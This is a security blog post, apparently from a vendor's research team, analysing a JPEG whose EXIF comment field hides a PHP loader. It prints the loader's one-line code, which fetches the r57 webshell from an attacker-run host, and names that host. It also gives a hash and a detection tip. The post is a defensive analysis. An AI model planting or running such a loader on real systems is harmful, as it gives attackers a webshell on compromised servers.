Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Hiding PHP Code in Image Files Revisited

Over five years ago, we published a blog detailing how a webshell’s backdoor code was hidden in an image file. With this method, an attacker inserts PHP backdoor code in the meta-data headers of an image to circumvent detection. Though not entirely a new tactic at that time, fast forward five years and we continue to encounter this type of attack. This blog outlines another similar case we recently uncovered. We are highlighting the topic again to raise awareness, as well as showing another technique the attacker utilizes to deliver a webshell to the compromised system.

This following JPG image is seemingly benign.

Zap

However, taking a closer look at the JPG binary in hex viewer, we can see that there is something fishy going on here:

Jpg_hex

PHP code is clearly visible and is actually part of the JPG file’s EXIF header. EXIF  or Exchangeable image format is a standard that specifies the formats for images, sound, ancillary tags used by digital cameras, scanners and other devices. We can use PHP’s inbuilt exif_read_data() function to extract that image EXIF metadata.

php > $exif = exif_read_data(__DIR__.'/98f4d81cb7c00202522a256c5144218435ce07536608192a7a5103bb8e03ebfa'); // read the jpeg sample's exif header

When printing the EXIF header, we can expose the entire EXIF header. The malicious PHP script is stored in the comment section of the EXIF header. 

php > print_r($exif); // print the exif header
Array
(
    [FileName] => 98f4d81cb7c00202522a256c5144218435ce07536608192a7a5103bb8e03ebfa
    [FileDateTime] => 1554614278
    [FileSize] => 33903
    [FileType] => 2
    [MimeType] => image/jpeg
    [SectionsFound] => COMMENT
    [COMPUTED] => Array
        (
            [html] => width="180" height="198"
            [Height] => 198
            [Width] => 180
            [IsColor] => 1
        )

    [COMMENT] => Array
        (
            [0] => <?php ob_clean(); system("lynx -source > r57.php"); die(); ?>
        )

)

And we will be able to read this comment section by reading the comment array:

php > print_r($exif[COMMENT][0]);
<?php ob_clean(); system("lynx -source > r57.php"); die(); ?>

This script downloads a text file from the attacker's host and saves it with a .php file extension in the compromised system.

At the time of this writing, the host is unreachable.

Wget

But based on the filename, this could be the r57 webshell

Unlike our previous blog, the attacker didn’t stash the entire webshell in the header but utilized a staging method by downloading the webshell from an external host. This is probably to make it less conspicuous and to make the file size smaller.

Screen grab of the webshell:

Webshell

It seems that c0debank.altervista.org was used to host a webpage that sells Banking trojan that targets Brazilian bank. Here's a web archive link:  

http://web.archive.org/web/20080929215714/http://c0debank.altervista.org/

Summary:

Image formats such as JPEG can seemingly be unharmful and many filters and gateways let this file format pass without too much scrutiny. Based on this premise, attackers leverage this file format to hide malicious code. Scanning for PHP tags in image files can certainly help to detect and block this type of attack.

IOCs:

Image file:
SHA256: 98F4D81CB7C00202522A256C5144218435CE07536608192A7A5103BB8E03EBFA

Latest SpiderLabs Blogs

Trustwave SpiderLabs: Insights and Solutions to Defend Educational Institutions Against Cyber Threats

Security teams responsible for defending educational institutions at higher education and primary school levels often find themselves facing harsh lessons from threat actors who exploit the numerous...

Read More

Breakdown of Tycoon Phishing-as-a-Service System

Just weeks after Trustwave SpiderLabs reported on the Greatness phishing-as-a-service (PaaS) framework, SpiderLabs’ Email Security team is tracking another PaaS called Tycoon Group.

Read More

Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising

During an Advanced Continual Threat Hunt (ACTH) investigation that took place in early December 2023, Trustwave SpiderLabs discovered Ov3r_Stealer, an infostealer distributed using Facebook...

Read More